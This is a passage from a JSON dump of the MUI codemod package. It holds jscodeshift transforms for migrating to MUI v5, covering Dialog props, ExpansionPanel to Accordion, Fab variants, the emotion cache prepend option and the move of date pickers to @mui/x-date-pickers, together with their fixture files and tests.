StaticDatePicker,\n  StaticDatePickerProps,\n  StaticDateTimePicker,\n  StaticDateTimePickerProps,\n  StaticTimePicker,\n  StaticTimePickerProps,\n  TimePicker,\n  TimePickerProps,\n  YearPicker,\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps,\n  Timeline,\n} from '@mui/lab'\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/actual-root-pro.js",
    "content": "import {\n  CalendarPicker,\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n  CalendarPickerSkeleton,\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass,\n  ClockPicker,\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView,\n  DatePicker,\n  DatePickerProps,\n  DateRangePicker,\n  DateRange,\n  DateRangePickerProps,\n  DateRangePickerDay,\n  dateRangePickerDayClasses,\n  DateRangePickerDayClasses,\n  DateRangePickerDayClassKey,\n  DateRangePickerDayProps,\n  getDateRangePickerDayUtilityClass,\n  DateTimePicker,\n  DateTimePickerProps,\n  DesktopDatePicker,\n  DesktopDatePickerProps,\n  DesktopDateRangePicker,\n  DesktopDateRangePickerProps,\n  DesktopDateTimePicker,\n  DesktopDateTimePickerProps,\n  DesktopTimePicker,\n  DesktopTimePickerProps,\n  LocalizationProvider,\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue,\n  MobileDatePicker,\n  MobileDatePickerProps,\n  MobileDateRangePicker,\n  MobileDateRangePickerProps,\n  MobileDateTimePicker,\n  MobileDateTimePickerProps,\n  MobileTimePicker,\n  MobileTimePickerProps,\n  MonthPicker,\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps,\n  PickersDay,\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps,\n  StaticDatePicker,\n  StaticDatePickerProps,\n  StaticDateRangePicker,\n  StaticDateRangePickerProps,\n  StaticDateTimePicker,\n  StaticDateTimePickerProps,\n  StaticTimePicker,\n  StaticTimePickerProps,\n  TimePicker,\n  TimePickerProps,\n  YearPicker,\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps,\n  Timeline,\n} from '@mui/lab'\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/actual-sub-module.js",
    "content": "import CalendarPicker, {\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n} from '@mui/lab/CalendarPicker';\nimport CalendarPickerWithOtherName, {\n  CalendarPickerView as CalendarPickerViewWithOtherName\n} from '@mui/lab/CalendarPicker';\nimport CalendarPickerSkeleton, {\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass\n} from '@mui/lab/CalendarPickerSkeleton';\nimport ClockPicker, {\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView\n} from '@mui/lab/ClockPicker'\nimport DatePicker, { DatePickerProps } from '@mui/lab/DatePicker';\nimport DateRangePicker, { DateRange, DateRangePickerProps } from '@mui/lab/DateRangePicker';\nimport DateRangePickerDay, {\n  dateRangePickerDayClasses,\n  DateRangePickerDayClasses,\n  DateRangePickerDayClassKey,\n  DateRangePickerDayProps,\n  getDateRangePickerDayUtilityClass\n} from '@mui/lab/DateRangePickerDay';\nimport DateTimePicker, { DateTimePickerProps } from '@mui/lab/DateTimePicker';\nimport DesktopDatePicker, {\n  DesktopDatePickerProps\n} from '@mui/lab/DesktopDatePicker';\nimport DesktopDateRangePicker, {\n  DesktopDateRangePickerProps\n} from '@mui/lab/DesktopDateRangePicker';\nimport DesktopDateTimePicker, { DesktopDateTimePickerProps } from '@mui/lab/DesktopDateTimePicker';\nimport DesktopTimePicker, { DesktopTimePickerProps } from '@mui/lab/DesktopTimePicker';\nimport LocalizationProvider, {\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue\n} from '@mui/lab/LocalizationProvider';\nimport MobileDatePicker, { MobileDatePickerProps } from '@mui/lab/MobileDatePicker';\nimport MobileDateRangePicker, { MobileDateRangePickerProps } from '@mui/lab/MobileDateRangePicker';\nimport MobileDateTimePicker, { MobileDateTimePickerProps } from '@mui/lab/MobileDateTimePicker';\nimport MobileTimePicker, { MobileTimePickerProps } from '@mui/lab/MobileTimePicker';\nimport MonthPicker, {\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps\n} from '@mui/lab/MonthPicker';\nimport PickersDay, {\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps\n} from '@mui/lab/PickersDay';\nimport StaticDatePicker, { StaticDatePickerProps } from '@mui/lab/StaticDatePicker';\nimport StaticDateRangePicker, { StaticDateRangePickerProps } from '@mui/lab/StaticDateRangePicker';\nimport StaticDateTimePicker, { StaticDateTimePickerProps } from '@mui/lab/StaticDateTimePicker';\nimport StaticTimePicker, { StaticTimePickerProps } from '@mui/lab/StaticTimePicker';\nimport TimePicker, { TimePickerProps } from '@mui/lab/TimePicker';\nimport YearPicker, {\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps\n} from '@mui/lab/YearPicker';\nimport AdapterDateFns from '@mui/lab/AdapterDateFns';\nimport AdapterDayjs from '@mui/lab/AdapterDayjs';\nimport AdapterLuxon from '@mui/lab/AdapterLuxon';\nimport AdapterMoment from '@mui/lab/AdapterMoment';\nimport AdapterMomentWithOtherName from '@mui/lab/AdapterMoment';\nimport Timeline from '@mui/lab/Timeline';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/expected-root-community.js",
    "content": "import {\n  CalendarPicker,\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n  CalendarPickerSkeleton,\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass,\n  ClockPicker,\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView,\n  DatePicker,\n  DatePickerProps,\n  DateTimePicker,\n  DateTimePickerProps,\n  DesktopDatePicker,\n  DesktopDatePickerProps,\n  DesktopDateTimePicker,\n  DesktopDateTimePickerProps,\n  DesktopTimePicker,\n  DesktopTimePickerProps,\n  LocalizationProvider,\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue,\n  MobileDatePicker,\n  MobileDatePickerProps,\n  MobileDateTimePicker,\n  MobileDateTimePickerProps,\n  MobileTimePicker,\n  MobileTimePickerProps,\n  MonthPicker,\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps,\n  PickersDay,\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps,\n  StaticDatePicker,\n  StaticDatePickerProps,\n  StaticDateTimePicker,\n  StaticDateTimePickerProps,\n  StaticTimePicker,\n  StaticTimePickerProps,\n  TimePicker,\n  TimePickerProps,\n  YearPicker,\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps,\n} from '@mui/x-date-pickers';\n\nimport { Timeline } from '@mui/lab';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/expected-root-pro.js",
    "content": "import {\n  CalendarPicker,\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n  CalendarPickerSkeleton,\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass,\n  ClockPicker,\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView,\n  DatePicker,\n  DatePickerProps,\n  DateRangePicker,\n  DateRange,\n  DateRangePickerProps,\n  DateRangePickerDay,\n  dateRangePickerDayClasses,\n  DateRangePickerDayClasses,\n  DateRangePickerDayClassKey,\n  DateRangePickerDayProps,\n  getDateRangePickerDayUtilityClass,\n  DateTimePicker,\n  DateTimePickerProps,\n  DesktopDatePicker,\n  DesktopDatePickerProps,\n  DesktopDateRangePicker,\n  DesktopDateRangePickerProps,\n  DesktopDateTimePicker,\n  DesktopDateTimePickerProps,\n  DesktopTimePicker,\n  DesktopTimePickerProps,\n  LocalizationProvider,\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue,\n  MobileDatePicker,\n  MobileDatePickerProps,\n  MobileDateRangePicker,\n  MobileDateRangePickerProps,\n  MobileDateTimePicker,\n  MobileDateTimePickerProps,\n  MobileTimePicker,\n  MobileTimePickerProps,\n  MonthPicker,\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps,\n  PickersDay,\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps,\n  StaticDatePicker,\n  StaticDatePickerProps,\n  StaticDateRangePicker,\n  StaticDateRangePickerProps,\n  StaticDateTimePicker,\n  StaticDateTimePickerProps,\n  StaticTimePicker,\n  StaticTimePickerProps,\n  TimePicker,\n  TimePickerProps,\n  YearPicker,\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps,\n} from '@mui/x-date-pickers-pro';\n\nimport { Timeline } from '@mui/lab';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/expected-sub-module.js",
    "content": "import {\n  CalendarPicker,\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n} from '@mui/x-date-pickers/CalendarPicker';\nimport {\n  CalendarPicker as CalendarPickerWithOtherName,\n  CalendarPickerView as CalendarPickerViewWithOtherName,\n} from '@mui/x-date-pickers/CalendarPicker';\nimport {\n  CalendarPickerSkeleton,\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass,\n} from '@mui/x-date-pickers/CalendarPickerSkeleton';\nimport {\n  ClockPicker,\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView,\n} from '@mui/x-date-pickers/ClockPicker';\nimport { DatePicker, DatePickerProps } from '@mui/x-date-pickers/DatePicker';\nimport { DateRangePicker, DateRange, DateRangePickerProps } from '@mui/x-date-pickers-pro/DateRangePicker';\nimport {\n  DateRangePickerDay,\n  dateRangePickerDayClasses,\n  DateRangePickerDayClasses,\n  DateRangePickerDayClassKey,\n  DateRangePickerDayProps,\n  getDateRangePickerDayUtilityClass,\n} from '@mui/x-date-pickers-pro/DateRangePickerDay';\nimport { DateTimePicker, DateTimePickerProps } from '@mui/x-date-pickers/DateTimePicker';\nimport { DesktopDatePicker, DesktopDatePickerProps } from '@mui/x-date-pickers/DesktopDatePicker';\nimport { DesktopDateRangePicker, DesktopDateRangePickerProps } from '@mui/x-date-pickers-pro/DesktopDateRangePicker';\nimport { DesktopDateTimePicker, DesktopDateTimePickerProps } from '@mui/x-date-pickers/DesktopDateTimePicker';\nimport { DesktopTimePicker, DesktopTimePickerProps } from '@mui/x-date-pickers/DesktopTimePicker';\nimport {\n  LocalizationProvider,\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue,\n} from '@mui/x-date-pickers/LocalizationProvider';\nimport { MobileDatePicker, MobileDatePickerProps } from '@mui/x-date-pickers/MobileDatePicker';\nimport { MobileDateRangePicker, MobileDateRangePickerProps } from '@mui/x-date-pickers-pro/MobileDateRangePicker';\nimport { MobileDateTimePicker, MobileDateTimePickerProps } from '@mui/x-date-pickers/MobileDateTimePicker';\nimport { MobileTimePicker, MobileTimePickerProps } from '@mui/x-date-pickers/MobileTimePicker';\nimport {\n  MonthPicker,\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps,\n} from '@mui/x-date-pickers/MonthPicker';\nimport {\n  PickersDay,\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps,\n} from '@mui/x-date-pickers/PickersDay';\nimport { StaticDatePicker, StaticDatePickerProps } from '@mui/x-date-pickers/StaticDatePicker';\nimport { StaticDateRangePicker, StaticDateRangePickerProps } from '@mui/x-date-pickers-pro/StaticDateRangePicker';\nimport { StaticDateTimePicker, StaticDateTimePickerProps } from '@mui/x-date-pickers/StaticDateTimePicker';\nimport { StaticTimePicker, StaticTimePickerProps } from '@mui/x-date-pickers/StaticTimePicker';\nimport { TimePicker, TimePickerProps } from '@mui/x-date-pickers/TimePicker';\nimport {\n  YearPicker,\n  yearPickerClasses,\n  getYearPickerUtilityClass,\n  YearPickerClassKey,\n  YearPickerProps,\n} from '@mui/x-date-pickers/YearPicker';\nimport { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { AdapterLuxon } from '@mui/x-date-pickers/AdapterLuxon';\nimport { AdapterMoment } from '@mui/x-date-pickers/AdapterMoment';\nimport { AdapterMoment as AdapterMomentWithOtherName } from '@mui/x-date-pickers/AdapterMoment';\nimport Timeline from '@mui/lab/Timeline';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './date-pickers-moved-to-x';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('date-pickers-moved-to-x', () => {\n      it('transforms exports as needed (lab sub module)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/actual-sub-module.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/actual-sub-module.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-sub-module.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent (lab sub module)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/expected-sub-module.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/expected-sub-module.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-sub-module.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms exports as needed (lab root with only community exports)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/actual-root-community.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/actual-root-community.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-root-community.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent (lab root with only community exports)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/expected-root-community.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/expected-root-community.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-root-community.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms exports as needed (lab root with pro exports)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/actual-root-pro.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/actual-root-pro.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-root-pro.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent (lab root with pro exports)', () => {\n        const actual = transform(\n          {\n            source: read('./date-pickers-moved-to-x.test/expected-root-pro.js'),\n            path: require.resolve('./date-pickers-moved-to-x.test/expected-root-pro.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./date-pickers-moved-to-x.test/expected-root-pro.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-props.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('Dialog')\n\n    .forEach((path) => {\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'disableBackdropClick') {\n          delete attributes[index];\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-props.test/actual.js",
    "content": "<Dialog disableBackdropClick onClose={handleClose} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-props.test/expected.js",
    "content": "<Dialog onClose={handleClose} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './dialog-props';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('dialog-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./dialog-props.test/actual.js'),\n            path: require.resolve('./dialog-props.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./dialog-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./dialog-props.test/expected.js'),\n            path: require.resolve('./dialog-props.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./dialog-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-title-props.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('DialogTitle')\n\n    .forEach((path) => {\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'disableTypography') {\n          delete attributes[index];\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-title-props.test/actual.js",
    "content": "<DialogTitle disableTypography onClick={onClick} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-title-props.test/expected.js",
    "content": "<DialogTitle onClick={onClick} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/dialog-title-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './dialog-title-props';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('dialog-title-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./dialog-title-props.test/actual.js'),\n            path: require.resolve('./dialog-title-props.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./dialog-title-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./dialog-title-props.test/expected.js'),\n            path: require.resolve('./dialog-title-props.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./dialog-title-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options = {}) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single', trailingComma: true };\n\n  let emotionCacheName;\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (path.node.source.value === '@emotion/cache') {\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportDefaultSpecifier') {\n          emotionCacheName = specifier.local.name;\n        }\n      });\n    }\n  });\n\n  root.find(j.CallExpression, { callee: { name: emotionCacheName } }).forEach(({ node }) => {\n    const objExpression = node.arguments[0];\n    if (objExpression && objExpression.type === 'ObjectExpression') {\n      const prop = objExpression.properties.find((p) => p.key.name === 'prepend');\n      if (!prop) {\n        objExpression.properties.push(j.property('init', j.identifier('prepend'), j.literal(true)));\n      } else if (prop && prop.kind === 'init' && prop.value.value === false) {\n        prop.value = j.literal(true);\n      }\n    }\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/custom-naming.actual.js",
    "content": "import emotionCreateCache from '@emotion/cache';\n\nconst cache = emotionCreateCache({\n  key: 'css',\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/custom-naming.expected.js",
    "content": "import emotionCreateCache from '@emotion/cache';\n\nconst cache = emotionCreateCache({\n  key: 'css',\n  prepend: true,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/default-naming.actual.js",
    "content": "import createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/default-naming.expected.js",
    "content": "import createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/replace-existing-prepend.actual.js",
    "content": "import createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: false,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test/replace-existing-prepend.expected.js",
    "content": "import createCache from '@emotion/cache';\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/emotion-prepend-cache.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './emotion-prepend-cache';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('emotion-prepend-cache', () => {\n      it('append to createCache', () => {\n        const actual = transform(\n          {\n            source: read('./emotion-prepend-cache.test/default-naming.actual.js'),\n            path: require.resolve('./emotion-prepend-cache.test/default-naming.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./emotion-prepend-cache.test/default-naming.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./emotion-prepend-cache.test/default-naming.expected.js'),\n            path: require.resolve('./emotion-prepend-cache.test/default-naming.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./emotion-prepend-cache.test/default-naming.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('append to custom naming', () => {\n        const actual = transform(\n          {\n            source: read('./emotion-prepend-cache.test/custom-naming.actual.js'),\n            path: require.resolve('./emotion-prepend-cache.test/custom-naming.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./emotion-prepend-cache.test/custom-naming.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('turn existing prepend to true', () => {\n        const actual = transform(\n          {\n            source: read('./emotion-prepend-cache.test/replace-existing-prepend.actual.js'),\n            path: require.resolve('./emotion-prepend-cache.test/replace-existing-prepend.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./emotion-prepend-cache.test/replace-existing-prepend.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/expansion-panel-component.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file) {\n  return file.source.replace(/([^a-zA-Z])ExpansionPanel/gm, '$1Accordion');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/expansion-panel-component.test/actual.js",
    "content": "import ExpansionPanel from '@material-ui/core/ExpansionPanel';\nimport ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';\nimport ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';\nimport ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions';\n\n<ExpansionPanel>\n  <ExpansionPanelSummary>\n    <Typography>Location</Typography>\n    <Typography>Select trip destination</Typography>\n  </ExpansionPanelSummary>\n  <ExpansionPanelDetails>\n    <Chip label=\"Barbados\" onDelete={() => {}} />\n    <Typography variant=\"caption\">Select your destination of choice</Typography>\n  </ExpansionPanelDetails>\n  <Divider />\n  <ExpansionPanelActions>\n    <Button size=\"small\">Cancel</Button>\n    <Button size=\"small\">Save</Button>\n  </ExpansionPanelActions>\n</ExpansionPanel>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/expansion-panel-component.test/expected.js",
    "content": "import Accordion from '@material-ui/core/Accordion';\nimport AccordionSummary from '@material-ui/core/AccordionSummary';\nimport AccordionDetails from '@material-ui/core/AccordionDetails';\nimport AccordionActions from '@material-ui/core/AccordionActions';\n\n<Accordion>\n  <AccordionSummary>\n    <Typography>Location</Typography>\n    <Typography>Select trip destination</Typography>\n  </AccordionSummary>\n  <AccordionDetails>\n    <Chip label=\"Barbados\" onDelete={() => {}} />\n    <Typography variant=\"caption\">Select your destination of choice</Typography>\n  </AccordionDetails>\n  <Divider />\n  <AccordionActions>\n    <Button size=\"small\">Cancel</Button>\n    <Button size=\"small\">Save</Button>\n  </AccordionActions>\n</Accordion>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/expansion-panel-component.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './expansion-panel-component';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('expansion-panel-component', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./expansion-panel-component.test/actual.js'),\n            path: require.resolve('./expansion-panel-component.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./expansion-panel-component.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./expansion-panel-component.test/expected.js'),\n            path: require.resolve('./expansion-panel-component.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./expansion-panel-component.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/fab-variant.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const source = j(file.source)\n    .findJSXElements('Fab')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'variant') {\n          if (node.value.value === 'round' || node.value.expression?.value === 'round') {\n            node.value = j.literal('circular');\n          }\n        }\n\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          (node.value?.expression?.properties || []).forEach((subNode) => {\n            if (subNode.key.name === 'round') {\n              subNode.key.name = 'circular';\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n  return source.replace(/\\.MuiFab-round/gm, '.MuiFab-circular');\n}\n"
  },
  {
